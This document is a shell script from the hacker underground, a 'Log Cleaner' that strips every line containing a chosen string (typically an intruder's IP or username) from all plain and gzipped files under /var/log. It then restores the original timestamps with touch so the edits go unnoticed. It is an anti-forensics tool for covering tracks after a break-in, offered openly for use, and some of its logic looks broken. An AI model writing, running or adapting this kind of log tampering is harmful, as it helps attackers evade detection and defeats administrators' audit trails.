#!/bin/sh
# Log Cleaner v. 0.6b by hip0. 
# NT! NOT TESTED! DON'T TRY THIS IF YOU DIDN'T REALLY KNOW
# WHAT YOU ARE DOING.
#               NO WARRANTIES USE AT YOUR OWN RISK !
# Under GPL ver. 2.0 or above. Check out www.gnu.org for more info.
# Greetings fly to:
# Authors of the underground-book -- http://www.underground-book.com
# Also to the beatiful of Midnigh Oil.
# Special thanx to this people for laying there asses in #pcfreak
# on uni-bg.
# STRASHARO, ORDER, UTP, necroleak, Static, Sic-a, vaso, dr0p,
# hip3, Hacko_; Sorry if i forgot someone.
# Everyone other that knows and respect me should feel greeted too ;]
# For bugs and suggestions, flames etc. sent to hipodilski@dahmer.vistech.net
# http://rootshell.be/~pcfreak/Archive/ -- Say no to M$.
# 
# Usage notes. the shellscript takes 2 arguments.
# The 1st one is the "string" to grep out from all the files, dirs
# and subdirs in /var/log; The 2nd one is: "-v" if used you'll have
# verbose output. 
# Enjoy your cleaning:]
# PS. : execute the shell script from the directory from where
# You'll clean the specified string from the files dirs and subdirs.
# Annoying.

# Dir where new triggered files should go.
new_path="/var/log/new";

# Dir from which we'll take the files to be triggered.
log_dir="/var/log";

# The grepped string usually entered at the command line.
grep_var="$1";

# Don't edit this.
verbose='-v';
string2="$2";
string3="$2";
cut_var="new";
verbose_on='';
overwrt="overwrite";

# Cleans files from $new_path to prevent from problems ...
clean_dir () {
rm -rf $new_path/*;
}

# Checks for the entered arguments.
chk_args () {
 if [ -z "$grep_var" ] || \
 [ -n "$string2" ] && [ "$string2" != "$verbose" ]; then
  echo "Log Cleaner by hip0";
   echo "-=================-";
   echo -e "Bad Syntax, Examples:"
   echo -e "\n$0 string\nfor verbose: $0 string -v";
  exit 0;
 fi

 if [ "$string2" == "$verbose" ]; then
  verbose_on=1;
   else
  verbose_on='';
 fi

 if [ "$string3" == "$overwrt" ]; then
  overwrite='1';
   else
  overwrite='';
 fi
}

# Checks for $new_path's existence.
chk_new_path_existence () {

 if test -d $new_path; then
  cat /dev/null;
   else
  mkdir $new_path;
 fi

}

# checks the flow for dirs.
chk_dir () {

 if [ -d "$i" ] && [ ! -a "$i" ] && \
[ -z "`echo $i | grep .gz`" ] && [ "$i" != "$cut_var" ]; then
 z="$i";
  cp -rfp $i $new_path/$i;
   new_i="$i";

     for i in `ls -1 $new_path/$new_i`; do
      gz_name="$i";
       cut_gz=${gz_name/.gz/};
        gzip -d -f -q -c $new_path/$new_i/$i > $new_path/$new_i/$cut_gz.new1;
       cat $new_path/$new_i/$cut_gz.new1 | grep -v "$grep_var" \
> $new_path/$new_i/$cut_gz.new;
     gzip -c -f -q $new_path/$new_i/$cut_gz.new > $new_path/$new_i/$i;
    rm -f $new_path/$new_i/$cut_gz.new; 
   rm -f $new_path/$new_i/$cut_gz.new1;
  touch -acmr $log_dir/$z/$i $new_path/$new_i/$i;

 if [ "$verbose_on" == 1 ]; then
  echo "Ungzipping: $i";
   echo "Grepping: $grep_var out of $i";
   echo "gzipping: $cut_gz as: $i";
  echo -e "Setting timestamps from: $log_dir/$z/$i\nto: $new_path/$new_i/$i";
 fi

 if [ -n "$overwrite" ]; then
  touch /tmp/$i;
  touch -acmr $log_dir/$z/$i /tmp/$i;
  mv $new_path/$new_i/$i $log_dir/$z/$i;
  touch -acmr /tmp/$i $log_dir/$z/$i;
  rm -f /tmp/$i;
 fi
  
  
  done
 fi
}

# Checks for normal ( not gzipped ) files.
chk_file () {
 if [ -a "$i" ] && [ ! -d "$i" ] && [ -z "`echo $i | grep .gz`" ]; then

  cp -rpf $i $new_path/$i;
  cat /dev/null > $new_path/$i;
  cat $i | grep -v $grep_var > $new_path/$i
  touch -acmr $log_dir/$i $new_path/$i; 

  if [ "$verbose_on" == 1 ]; then
   echo "Grepping: $grep_var out of: $i";
  fi

 if [ -n "$overwrite" ]; then
  touch /tmp/$i;
  touch -acmr $log_dir/$i /tmp/$i;
  mv $new_path/$i $log_dir/$i;
  touch -acmr /tmp/$i $log_dir/$i;
  rm -f /tmp/$i;
 fi
 
 fi
}

# Checks for gzipped files.
chk_gz_file () {

if [ -n "`echo $i | grep .gz`" ] && [ -a "$i" ] && \
[ ! -d "$i" ]; then

 cp -rpf $i $new_path/$i;
  gzip -d -f -q $new_path/$i;
   gz_name="$i";
  cut_gz=${gz_name/.gz/};
   cat $new_path/$cut_gz | grep -v $grep_var > $new_path/$cut_gz.new;
  gzip -c -f -q $new_path/$cut_gz.new > $new_path/$i;
   rm -f $new_path/$cut_gz.new; rm -f $new_path/$cut_gz;
  touch -acmr $log_dir/$i $new_path/$i;

 if [ "$verbose_on" == 1 ]; then
  echo "$i is gzipped file.";
   echo "Ungzipping $i at $new_path/$i.";
   echo "Catting $cut_gz and grepping $grep_var from it.";
  echo -e "Setting timestamps from: $log_dir/$i\n to $new_path/$i"; 
 fi

 if [ -n "$overwrite" ]; then
  touch /tmp/$i;
  touch -acmr $log_dir/$i /tmp/$i;
  mv $new_path/$i $log_dir/$i;
  touch -acmr /tmp/$i $log_dir/$i;
  rm -f /tmp/$i;
 fi
 
 fi
}

# Does most of the stuff.
main_cycle () {

 for i in `ls -1`; do
  chk_dir;
  chk_file;
  chk_gz_file;
 done

rm -f $new_path/`basename $0`;

}

# Core functions that calls the other ones above.
main () {

 chk_args;
 chk_new_path_existence;
 clean_dir;
 main_cycle;
}
 main;

